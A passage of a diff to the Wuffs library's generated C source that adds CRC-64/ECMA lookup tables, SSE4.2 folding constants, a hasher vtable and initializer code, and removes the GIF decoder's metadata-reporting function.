17403850594581005815u, 11533527867866456291u, 13682454788587061567u, 11228114617197060955u, 9672831084924650119u, ++ 17046466186006768828u, 17401835225210195296u, 15513812278582275844u, 14601417988320120536u, 11181065506345364428u, 9711332585899690512u, 11598470443728627828u, 13625782737014311336u, ++ 280740911195955804u, 2165085734748128128u, 4051111986314371556u, 2726642315882184760u, 8385505863325164844u, 7616087770173211888u, 5729240201464309396u, 5939354855465699144u, ++ 11574598932837183481u, 13641322155266051621u, 11203874897631210561u, 9696991643941850525u, 15500005765847099529u, 14624770467483748693u, 17061326039500450609u, 17377293083093715693u, ++ 5752625691707646233u, 5925581285101240517u, 8361067032314929825u, 7631051003498906493u, 4066548076212889193u, 2702667407911749557u, 266366940911429073u, 2187862166416278541u, ++ }, { ++ 0u, 6642096280510406750u, 13284192561020813500u, 16462795876764246242u, 16315823105410768893u, 13708963636559134627u, 6500836570635362113u, 439922346977066783u, ++ 6197597939812213119u, 733872460607717665u, 17174658310779658691u, 12859417258165748125u, 13001673141270724226u, 16736026809386770140u, 879844693954133566u, 5771540452186644064u, ++ 12395195879624426238u, 17305613297699152544u, 1467744921215435330u, 5220531075568771612u, 5650300446275329283u, 1316336633116425565u, 17740532779662220735u, 12258375912742239713u, ++ 18016332033719362433u, 11973850846087693279u, 4781749989466252093u, 2193612730179060579u, 1759689387908267132u, 4919860766213921826u, 11543080904373288128u, 18166453874549300382u, ++ 14614610554166352761u, 10879836598703668007u, 8253805222095936453u, 3361408799105547163u, 2935489842430870660u, 8399638907315561690u, 10441062151137543224u, 14757009366268798054u, ++ 11300600892550658566u, 13906759146888600152u, 2632673266232851130u, 8693166652788693732u, 9132946036408395259u, 2491556468171146661u, 14331668736193815879u, 11153489555886392601u, ++ 7409848711186274695u, 4249257595424012761u, 16037314857127418171u, 9413239572791867749u, 9563499978932504186u, 15606406401646028324u, 4387225460358121158u, 6976068332272625304u, ++ 3519378775816534264u, 7852640824571713702u, 9839721532427843652u, 15321459211647031322u, 15184496315767285509u, 10274783960564057947u, 7701371084599273401u, 3949009615571978215u, ++ 539203352115488887u, 6581683165424715817u, 13772373076031531211u, 16360516657443457173u, 16507610444191872906u, 13347445937900984276u, 6722817598211094326u, 99441604310980456u, ++ 5870979684861741320u, 960568039155968342u, 16799277814631123380u, 13046489736199563754u, 12904108438562707189u, 17238069777753355947u, 814716683761407561u, 6296880972452001303u, ++ 12357655745765665417u, 17821378201246059223u, 1379747099228580405u, 5694995023857257067u, 5265346532465702260u, 1530999186474390826u, 17386333305577387464u, 12494636173022434710u, ++ 18265892072816790518u, 11623803214076996520u, 4983112936342293322u, 1804507146630605588u, 2238305212630619147u, 4845162757404030037u, 12054694172541097143u, 18115614168568345833u, ++ 14819697422372549390u, 10486441695742104400u, 8498515190848025522u, 3016776137306395628u, 3442815973027425523u, 8352525304506551469u, 10925090729870978127u, 14677459070913039377u, ++ 11216336045685248625u, 14376925237369287215u, 2590274523633996493u, 9214355580338500243u, 8774450920716242316u, 2731551919773330898u, 13952136664545250608u, 11363291318662491502u, ++ 7038757551633068528u, 4432606169309893038u, 15705281649143427404u, 9644785238863483154u, 9494645848386137613u, 16136034042300943955u, 4294513027018469041u, 7472698529450626799u, ++ 4011857131457007759u, 7746628612951437521u, 10373500843358195763u, 15265904688119197805u, 15402742169198546802u, 9938598876682809132u, 7898019231143956430u, 3582070091934478224u, ++ 1078406704230977774u, 5970139571501035696u, 13163366330849431634u, 16897748309796073484u, 17049000381336047379u, 12733717820530814797u, 6107119981172920239u, 643361792051163121u, ++ 6410046491609887121u, 349161128571523535u, 16190407203032477997u, 13583585392940618099u, 13445635196422188652u, 16624205252526067250u, 198883208621960912u, 6840937431151644302u, ++ 11741959369723482640u, 18365299631022420558u, 1921136078311936684u, 5081265949533565682u, 4656338829252136429u, 2068229881835728307u, 17925537898651110737u, 11883093821164285199u, ++ 17650059563187254127u, 12167860639460954929u, 5524638460789093331u, 1190641388963713933u, 1629433367522815122u, 5382257181810330828u, 12593761944904002606u, 17504208224571739248u, ++ 14134199920450915223u, 10956049054195313609u, 8970094247992396587u, 2328741787718953845u, 2759494198457160810u, 8819954874021999668u, 11389990047714514134u, 13996106797082358920u, ++ 10530693064931404520u, 14846677937748691638u, 3061998372948781652u, 8526176301674629642u, 8091274350704555285u, 3198835872954668363u, 14416890915810522537u, 10682083699634542071u, ++ 7503655637611612521u, 3751252662574033207u, 15021960841764981205u, 10112215774463453579u, 9966225872684586644u, 15448000658827392714u, 3609014293261211176u, 7942304654960916086u, ++ 4476610425261238294u, 7065420035288041544u, 9690325514808060074u, 15733189881789008116u, 15874467260079749099u, 9250420838410950581u, 7212375292832610135u, 4051821833783301897u, ++ 688179623118076057u, 6170372224719608007u, 12814440204992854053u, 17148438651140642939u, 16997030381696051044u, 13244209591132604218u, 6033552274612791256u, 1123099122930255750u, ++ 6885631946054851046u, 262293608834169272u, 16705050609013102938u, 13544914965422553348u, 13683025758949262875u, 16271127284595091013u, 412415468322195111u, 6454862019777308409u, ++ 11927910341603441255u, 17988788832627006009u, 2148953154424896219u, 4755777988240824965u, 5180549047267992986u, 2001980365486523844u, 18428711160677000486u, 11786650616022549880u, ++ 17548901841432484632u, 12657171448130714438u, 5463103839546661796u, 1728714438829439994u, 1290082918514197733u, 5605359706950509755u, 12231113943998710873u, 17694874057198724103u, ++ 14077515103266137056u, 11488706867561743294u, 8865212338619786076u, 2822341649514070786u, 2391433177253116957u, 9015472726907116611u, 11054926469989481633u, 14215482952762858751u, ++ 10763369033251996319u, 14515766235920655041u, 3244216653174833699u, 8153963644554617469u, 8589026054036938082u, 3107253741862419772u, 14945397058901253598u, 10612099275430968704u, ++ 8023714262914015518u, 3707732413820797248u, 15493257225902875042u, 10029072425162228220u, 10174906129304731363u, 15067338284929851069u, 3850131242430201439u, 7584939832928591361u, ++ 4133108057121652833u, 7311251501606674495u, 9295800309597257949u, 15937155243838988419u, 15796038462287912860u, 9735579710801330114u, 7164140183868956448u, 4558017662132191102u, ++ }, { ++ 0u, 7026975924517234630u, 14053951849034469260u, 11713158812725061706u, 1498566550037692829u, 8453026741656872539u, 15547077823203331601u, 13134332388348864983u, ++ 2997133100075385658u, 5193532126013515004u, 16906053483313745078u, 10023477084983765872u, 4421425403924087463u, 6690338751863514465u, 18326734871926164779u, 11516110084014746349u, ++ 5994266200150771316u, 3651077923391955378u, 10387064252027030008u, 17411644826573123134u, 5180286430728521705u, 2765428220391841839u, 9578516152858789989u, 16530863678517358499u, ++ 8842850807848174926u, 1962664170658947720u, 13380677503727028930u, 15579466327313067268u, 7958959654645957843u, 1150444288916906773u, 12500388506175163231u, 14771411239789669529u, ++ 11988532400301542632u, 14401112944851970862u, 7302155846783910756u, 347530691846251682u, 12867955000885349749u, 15208934917731379891u, 8186843028093092601u, 1160054057126929727u, ++ 10360572861457043410u, 17171366937719040020u, 5530856440783683678u, 3262112454209283992u, 11170013709381963343u, 18052407625221859721u, 6344013830343901635u, 4147432248901248517u, ++ 17685701615696349852u, 10733466276663946586u, 3925328341317895440u, 6340298665266291414u, 16265807495604570881u, 9241127928571882695u, 2500178400086410381u, 4843267757373072203u, ++ 15917919309291915686u, 13646779991004769888u, 2300888577833813546u, 9109287431904666092u, 14423962049646856251u, 12225267820500938749u, 803223682168014775u, 7683504840782913649u, ++ 16025789128531904341u, 13827140552201887891u, 2120809441137969369u, 9001136188144267039u, 14604311693567821512u, 12333148557000565006u, 695061383692503364u, 7503436758785666690u, ++ 17866059964468495471u, 10841338299774886825u, 3817174930229677027u, 6160221704524114981u, 16373686056186185202u, 9421479739856314932u, 2320108114253859454u, 4735107671358188984u, ++ 10180636633891078433u, 17063072784830850791u, 5638869205660782253u, 3442330069771397483u, 11061712881567367356u, 17872478072565786490u, 6524224908418567984u, 4255451551249279222u, ++ 11880240423364919835u, 14221174549956093405u, 7482375666214882711u, 455541244296276561u, 12688027660687803270u, 15100631886079386688u, 8294864497802497034u, 1340262959281482700u, ++ 8662912472460168125u, 1854372134182743163u, 13488687978245964849u, 15759686224643400695u, 7850656682635790880u, 970516889046347238u, 12680597330532582828u, 14879432787265004138u, ++ 5885971969496909959u, 3471141773623390017u, 10567281927262422795u, 17519657531808653517u, 5000356800172820762u, 2657127470508076764u, 9686535514746144406u, 16711074697083887952u, ++ 3105005063510429129u, 5373890534425651727u, 16725976600334615109u, 9915323596096578947u, 4601777155667627092u, 6798217371950640018u, 18218574863809332184u, 11336039720248747038u, ++ 180360639130832627u, 7134845665859430709u, 13945800545768817023u, 11533079735570376377u, 1606447364336029550u, 8633376307814525096u, 15367009681565827298u, 13026170149548992292u, ++ 3321048140255203375u, 5733767250183223273u, 17086394267351834531u, 10131907641284540517u, 4241618882275938738u, 6582455852881933940u, 18002272376288534078u, 10975340495589554680u, ++ 540800415553098517u, 7351451582082282707u, 14161821513074465945u, 11892934580260027231u, 1390122767385006728u, 8272655212095272270u, 15006873517571333380u, 12810430501506267842u, ++ 9023334491325470299u, 2070960623556915613u, 13704726720259086807u, 16119558478964112913u, 7634349860459354054u, 609813203025260544u, 12320443409048229962u, 14663675712440713100u, ++ 6101997361665611105u, 3831000989484282535u, 10927717295939115757u, 17736259059608567083u, 4640216228507718908u, 2441383434118427450u, 9470215342716377968u, 16350357972595129526u, ++ 9820495924665654471u, 16847328885758262017u, 5422549171225416523u, 3081613207998608525u, 11277738411321564506u, 18232337151134792348u, 6884660139542794966u, 4472053216375158032u, ++ 11663933463862517757u, 13860471001487472699u, 7122221882022416497u, 239784031886489527u, 13048449816837135968u, 15317220237859158438u, 8510903102498558444u, 1700135351162517034u, ++ 15809464669166377651u, 13466419319190748533u, 1760673139591009599u, 8785396677427507961u, 14964751332429765422u, 12549754610540477672u, 911082488592553122u, 7863291466191287140u, ++ 17505901828360837513u, 10625576643111779919u, 3600872305391818245u, 5799522617425244611u, 16589728995604994068u, 9781356593166352338u, 2680525918562965400u, 4951691578960654430u, ++ 17325824944920336250u, 10517423154702741692u, 3708744268365486326u, 5979881026315534128u, 16481568986909349607u, 9601286230029496609u, 2860877669727689067u, 5059570199676927661u, ++ 15701313365271581760u, 13286340242614875014u, 1941033778092694476u, 8893266419348519946u, 14784683190314112477u, 12441592372201976347u, 1018963302412737105u, 8043641032810315159u, ++ 11771943938993819918u, 14040690898222216904u, 6942283547246780034u, 131491994814691652u, 13228658641689481363u, 15425241784889898837u, 8402600130983321375u, 1520207950847359193u, ++ 10000713600345641524u, 16955341590498866674u, 5314254941016153528u, 2901677057735113342u, 11385757773804508073u, 18412548169088955503u, 6704730509582687269u, 4363752465879022563u, ++ 6210010127020858258u, 4011218604585024596u, 10747781068851303454u, 17627964906259002328u, 4820427307211528719u, 2549402735887646153u, 9361914515530929539u, 16170428419360240197u, ++ 9203554311335254184u, 2178971175377796974u, 13596434743901280036u, 15939620083439087842u, 7742371330630129973u, 790022104701665011u, 12140516069312059065u, 14555372680310567295u, ++ 360721278261665254u, 7243300338934250016u, 14269691331718861418u, 12073295142069515692u, 1281960468464901243u, 8092587130592951229u, 15187223161047700471u, 12918311238500824113u, ++ 3212894728672059100u, 5553690289885640986u, 17266752615629050192u, 10239779664840078998u, 4061548595831021377u, 6474295767462639751u, 18110150936257777869u, 11155692307469580043u, ++ }, { ++ 0u, 2517245393515406572u, 5034490787030813144u, 7435750759411199284u, 10068981574061626288u, 12201157653998401372u, 14871501518822398568u, 17045318164640841348u, ++ 9628913577918544357u, 12056075433989135625u, 13870769438669140029u, 16326061061730899153u, 1016952077871524437u, 3239211695253081785u, 5459183210385793933u, 7578968205522831201u, ++ 11067918171351838031u, 13508029996328618403u, 15872723984458359959u, 18349972777811820667u, 1307470557354262271u, 3515654148887976467u, 6339673239971903271u, 8436375012170683339u, ++ 2033904155743048874u, 4528066323082129478u, 6478423390506163570u, 8865607338129291678u, 10918366420771587866u, 13072499669943034870u, 15157936411045662402u, 17344703028974807598u, ++ 11667391723826758683u, 9441211325989495031u, 16444045520167767491u, 14329311757255665967u, 3050858413050517419u, 628778578755597127u, 8036894684654706291u, 5577642697640442527u, ++ 2614941114708524542u, 478839856218937618u, 7031308297775952934u, 4862538486186004682u, 12679346479943806542u, 10167187506301176482u, 16872750024341366678u, 14467534086004917114u, ++ 4067808311486097748u, 1917635425212288440u, 9056132646164258956u, 6864284009665987680u, 12956846781012327140u, 10457633378212404744u, 17731214676258583356u, 15347951510183778256u, ++ 13678285260964991153u, 11474057634298917981u, 17873974704293108073u, 15772186515461651845u, 3922409453435093761u, 1477250791027468269u, 8336488571297909465u, 5863164957556321845u, ++ 15063804914172139187u, 17573731408537121375u, 10724047561790938987u, 13131499433903012743u, 6535100908406441219u, 8673469987586793967u, 2265113888856263899u, 4431612735036172343u, ++ 6101716826101034838u, 8521560882533092282u, 1257557157511194254u, 3719041779816530530u, 16073789369309412582u, 18302240886422657034u, 11155285395280885054u, 13267751491267498450u, ++ 5229882229417049084u, 7672809353916620560u, 957679712437875236u, 3433240205686757064u, 14062616595551905868u, 16269110787469675680u, 9725076972372009364u, 11824592944582215032u, ++ 14786588404820918809u, 17283564772171425525u, 9865866699426761665u, 12251361247433944877u, 5082513026899726761u, 7234957975966594373u, 240568853608110193u, 2430150771060047005u, ++ 8135616622972195496u, 5911125624750880324u, 3835270850424576880u, 1717722887501053852u, 18112265292328517912u, 15687370158510810612u, 13728568019331975360u, 11271004332422294572u, ++ 17674167644946721613u, 15539754686561718177u, 12725302718847165077u, 10553717607734429305u, 9150035367232403709u, 6635062193578351633u, 4261933579054297381u, 1858407040333796809u, ++ 16825062113507622887u, 14668696227990231819u, 12439147139764057663u, 10254616302904316627u, 7116415003206659159u, 4624520499557157051u, 2818284765131990415u, 428829699325493603u, ++ 7844818906870187522u, 5634399380472423150u, 2954501582054936538u, 860032292373900086u, 16672977142595818930u, 14235136279826723166u, 11726329915112643690u, 9246813302127474822u, ++ 3513487962258617315u, 1309817375275636495u, 8438743075148003899u, 6337546835477044951u, 13510341259434958931u, 11065716548023207103u, 18347741267953084811u, 15874986514718330215u, ++ 13070201816812882438u, 10920562880461237994u, 17346939975173587934u, 15155660198108440370u, 4530227777712527798u, 2031571415669472602u, 8863225470072344686u, 6480554254231811202u, ++ 12203433652202069676u, 10066744842596399680u, 17043121765066184564u, 14873799311837557656u, 2515114315022388508u, 2382082824317424u, 7438083559633061060u, 5032329272252129320u, ++ 3241337884980569929u, 1014584229661574053u, 7576621447749742225u, 5461349336866867837u, 12053812688995611897u, 9631145302510833685u, 16328262745174523169u, 13868458115447806413u, ++ 10459764458834098168u, 12954464700354433812u, 15345618707833241120u, 17733376188870843084u, 1915359424875750472u, 4070045040789094564u, 6866480411373514128u, 9053834855311329660u, ++ 1479513538183220765u, 3920177730975673073u, 5860963271950469061u, 8338799892386374441u, 11471931442405006765u, 13680653107046267201u, 15774533275401163893u, 17871808579940708505u, ++ 626467317811485367u, 3053060038512016987u, 5579874205336949615u, 8034632152261867395u, 9443377510452431111u, 11665044903776710123u, 14326943696444768479u, 16446171926791300147u, ++ 10165026053799453522u, 12681679222183806910u, 14469915951933188746u, 16870619158449294950u, 481137707216220386u, 2612744652856644622u, 4860301542120094010u, 7033584512875404758u, ++ 16271233245944390992u, 14060243759811248572u, 11822251249501760648u, 9727246909562751076u, 7670541700849153760u, 5232109988680716812u, 3435445775002107704u, 955373222128557012u, ++ 7237229143405862069u, 5080272407415421017u, 2427958334666397037u, 242871556844564865u, 17281429885116092165u, 14788965422804986857u, 12253699033039161053u, 9863708918048465457u, ++ 8671167069616523295u, 6537293559533907187u, 4433853414635209159u, 2262842661302265131u, 17575888975148309423u, 15061467343334031171u, 13129122476067492471u, 10726182388697724571u, ++ 18300070734464807418u, 16076131279156974870u, 13270124387156703266u, 11153162876657622222u, 8523867158108594762u, 6099511471519499942u, 3716814080667593618u, 1259824750463930238u, ++ 4622362935074513227u, 7118752576211060135u, 431206655032469651u, 2816149936058911871u, 14670999143827763963u, 16822869460218058263u, 10252375625438018339u, 12441418369480155087u, ++ 14232830006413318318u, 16675182499310091330u, 9249040999114314102u, 11724062320027170202u, 5636569530263980830u, 7842476994894082034u, 857659398650987206u, 2956624102806742570u, ++ 15689637813740375044u, 18110037535197587688u, 11268798760944846300u, 13730874507508556080u, 5909003164109873076u, 8137989456584309592u, 1720064584747800172u, 3833100915362378368u, ++ 6637197082762229217u, 9147658351414628621u, 1856069252600036409u, 4264091358266300629u, 15537483516989711953u, 17676408262268928701u, 10555910046260817801u, 12723000017772809061u, ++ }, { ++ 0u, 15762200328042667840u, 2856835172924432389u, 18238190752146915141u, 5713670345848864778u, 10805715811487326026u, 7561135427655163919u, 12848797446532677455u, ++ 11427340691697729556u, 4911321075843194708u, 13345174655120580625u, 7173389830452510545u, 15122270855310327838u, 820654137405644638u, 17760118084036943899u, 3226275954771115867u, ++ 12678913378224905901u, 8451595299172663789u, 9822642151686389416u, 5976168202979041768u, 16194808345499688615u, 4179641502022828519u, 14346779660905021090u, 2135996745225445858u, ++ 3558579666237890233u, 16995468946051088889u, 1641308274811289276u, 14733962144962732540u, 9090961916423626419u, 11859948271085519347u, 6452551909542231734u, 9453764156601606646u, ++ 14785799433083167711u, 1697614691135618207u, 16903190598345327578u, 3470771065211313306u, 9402037001392841685u, 6396285171454065813u, 11952336405958083536u, 9178809987380452496u, ++ 6027971268800324555u, 9878982515431963787u, 8359283004045657038u, 12591138999497481358u, 2084233168694272961u, 14290549069261356161u, 4271993490450891716u, 16282692837778922628u, ++ 7117159332475780466u, 13293411258189767218u, 4999205320339463543u, 11519692655715205687u, 3282616549622578552u, 17811921192019632696u, 732879648334208381u, 15029958398333780541u, ++ 18181923832847252838u, 2805107922438644262u, 15850048426093911395u, 92388385340408355u, 12905103819084463468u, 7612972483059622444u, 10717907374994120041u, 5621392111171994153u, ++ 629311348378851643u, 15133597752622646907u, 3395229382271236414u, 17699378041462564478u, 5183867188229904689u, 11335100742646646385u, 6941542130422626612u, 13469099241846138484u, ++ 10821536956051937583u, 5517832210058282607u, 12792570342908131626u, 7725577015716947562u, 15665448522205731109u, 277059068684322405u, 18357619974760904992u, 2629481737494357600u, ++ 12055942537600649110u, 9075274912216783062u, 9289461107078326163u, 6508930745710590163u, 16718566008091314076u, 3655465612432595164u, 14961454118931310489u, 1522030784741112025u, ++ 4168466337388545922u, 16386289672930760898u, 2196870928291817351u, 14177982363995224263u, 8543986980901783432u, 12406505804242475208u, 5852377756745475981u, 10054645982306597069u, ++ 14234318664951560932u, 2248669261341992356u, 16298510681658284769u, 4076149859246245281u, 9998410640678927086u, 5800610134637962670u, 12494386096293518059u, 8636334373997692331u, ++ 6565233099245157104u, 9341293662428177840u, 8987461698644630261u, 11963660006880118197u, 1465759296668416762u, 14909722918146729402u, 3743309483160705791u, 16810949547632248255u, ++ 7673845564465570889u, 12736298827739970313u, 5610215844877288524u, 10909381007990496012u, 2681314179816367171u, 18413922163761052419u, 184776770680816710u, 15577635352405072646u, ++ 17647610443766686813u, 3338994288425483037u, 15225944966119244888u, 717191546761911064u, 13520897736746902615u, 6997878541721926423u, 11242784222343988306u, 5096087965850491666u, ++ 1258622696757703286u, 14684288965200833846u, 3950222953022231155u, 17036158029906267443u, 6790458764542472828u, 9548224856613104956u, 8762045755503235705u, 11756540858562383161u, ++ 10367734376459809378u, 6151638724996853026u, 12124837022850257511u, 8285082520580115751u, 13883084260845253224u, 1879138195689975080u, 16649556998353834605u, 4445490780332133677u, ++ 13727827248377474267u, 7223104792207356827u, 11035664420116565214u, 4870673773980832670u, 17422178244240010449u, 3131857036752565137u, 15451154031433895124u, 924103331921597332u, ++ 2311784730144877775u, 18062687245331231631u, 554118137368644810u, 15928680121837474698u, 8024872609708797125u, 13105623011270275973u, 5258963474988715200u, 10539833548380279680u, ++ 15872427342139003305u, 502333042764009193u, 18150549824433566124u, 2404114375865757420u, 10596187595637903779u, 5310779519913856739u, 13017861491421180326u, 7932573568563556070u, ++ 4814384572959953341u, 10983915471956430589u, 7310931224865190328u, 13820193315420761848u, 980423156880069047u, 15503004023780282103u, 3044061569482224050u, 17329913425393921778u, ++ 8336932674777091844u, 12181156958151692356u, 6059373863990406913u, 10279938678082531393u, 4393741856583634702u, 16593268045114871886u, 1971504083133951755u, 13970910599835103307u, ++ 17087973961803566864u, 4006576835745435728u, 14591990156772618005u, 1170861220680101973u, 11704755513490951962u, 8705792948709298266u, 9640554597612056351u, 6878321524855255135u, ++ 1858937689852799821u, 14083548048513152013u, 4497338522683984712u, 16489741062169236488u, 6235036951360285511u, 10104345546597921799u, 8152299718492490562u, 12365860697102636034u, ++ 9753200483853429593u, 6765745319621112857u, 11601220269275925340u, 8809399250468705308u, 14416405870873226067u, 1346516287098352659u, 17272668747995384662u, 3821952007586370582u, ++ 13130466198490314208u, 7820039919040899744u, 10492627387899532773u, 5414409408661555877u, 17974923397289260522u, 2579810761044912810u, 16057098401758057967u, 317732763665910447u, ++ 2931518593336833524u, 17442526084696124084u, 1084062204544407025u, 15399436031514938033u, 7486618966321411582u, 13644576356632980158u, 4629793036166665723u, 11168576964637084347u, ++ 15347691128931141778u, 1027777753507534802u, 17534896747071563927u, 3019349226222860247u, 11220431689754577048u, 4686116923914377176u, 13552315720802183325u, 7398828111596124125u, ++ 5362628359632734342u, 10436379358185592774u, 7912374160093407363u, 13218332977821366211u, 369553541361633420u, 16113456511805446092u, 2487515902914439305u, 17887166489985742793u, ++ 8865757316743550527u, 11653040814255671679u, 6677988576850966074u, 9660905738751846778u, 3765703796660934197u, 17220887603689539957u, 1434383093523822128u, 14508740362393577840u, ++ 16546065181022836267u, 4549193289962883435u, 13995757083443852846u, 1766676892172462446u, 12309576339732698657u, 8100554995509053793u, 10192175931700983332u, 6327407589325138276u, ++ }, ++}; + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD1[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 228u, 58u, 57u, 202u, 151u, 212u, 93u, 224u, ++ 64u, 95u, 135u, 199u, 175u, 149u, 190u, 218u, ++}; + +-// -------- func gif.decoder.do_tell_me_more ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 68u, 250u, 158u, 138u, 0u, 91u, 9u, 96u, ++ 81u, 175u, 225u, 15u, 163u, 83u, 230u, 59u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 243u, 65u, 212u, 157u, 187u, 239u, 227u, 106u, ++ 244u, 45u, 132u, 167u, 84u, 96u, 31u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD8[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 16u, 204u, 79u, 29u, 215u, 87u, 135u, ++ 64u, 231u, 61u, 247u, 42u, 107u, 216u, 215u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_MUPX[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 213u, 99u, 41u, 23u, 108u, 70u, 62u, 156u, ++ 133u, 30u, 14u, 175u, 43u, 175u, 216u, 146u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); + +- uint64_t v_chunk_length = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up__choosy_default( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up_x86_sse42( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + +- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- VTables + +- if ((self->private_impl.f_call_sequence & 16u) == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- } +- while (true) { +- while (true) { +- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 2u, +- 0u, +- self->private_impl.f_metadata_io_position, +- 0u, +- 0u); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 0u, +- 0u, +- 0u, +- 0u, +- 0u); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- break; +- } +- v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- if (v_chunk_length <= 0u) { +- iop_a_src += 1u; +- break; +- } +- if (self->private_impl.f_metadata_fourcc == 1481461792u) { +- v_chunk_length += 1u; +- } else { +- iop_a_src += 1u; +- } +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 3u, +- self->private_impl.f_metadata_fourcc, +- 0u, +- wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), +- self->private_impl.f_metadata_io_position); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++const wuffs_base__hasher_u64__func_ptrs ++wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64 = { ++ (uint64_t(*)(const void*))(&wuffs_crc64__ecma_hasher__checksum_u64), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_crc64__ecma_hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_crc64__ecma_hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update), ++ (uint64_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update_u64), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_crc64__ecma_hasher__initialize( ++ wuffs_crc64__ecma_hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 3u, +- self->private_impl.f_metadata_fourcc, +- 0u, +- self->private_impl.f_metadata_io_position, +- self->private_impl.f_metadata_io_position); ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ 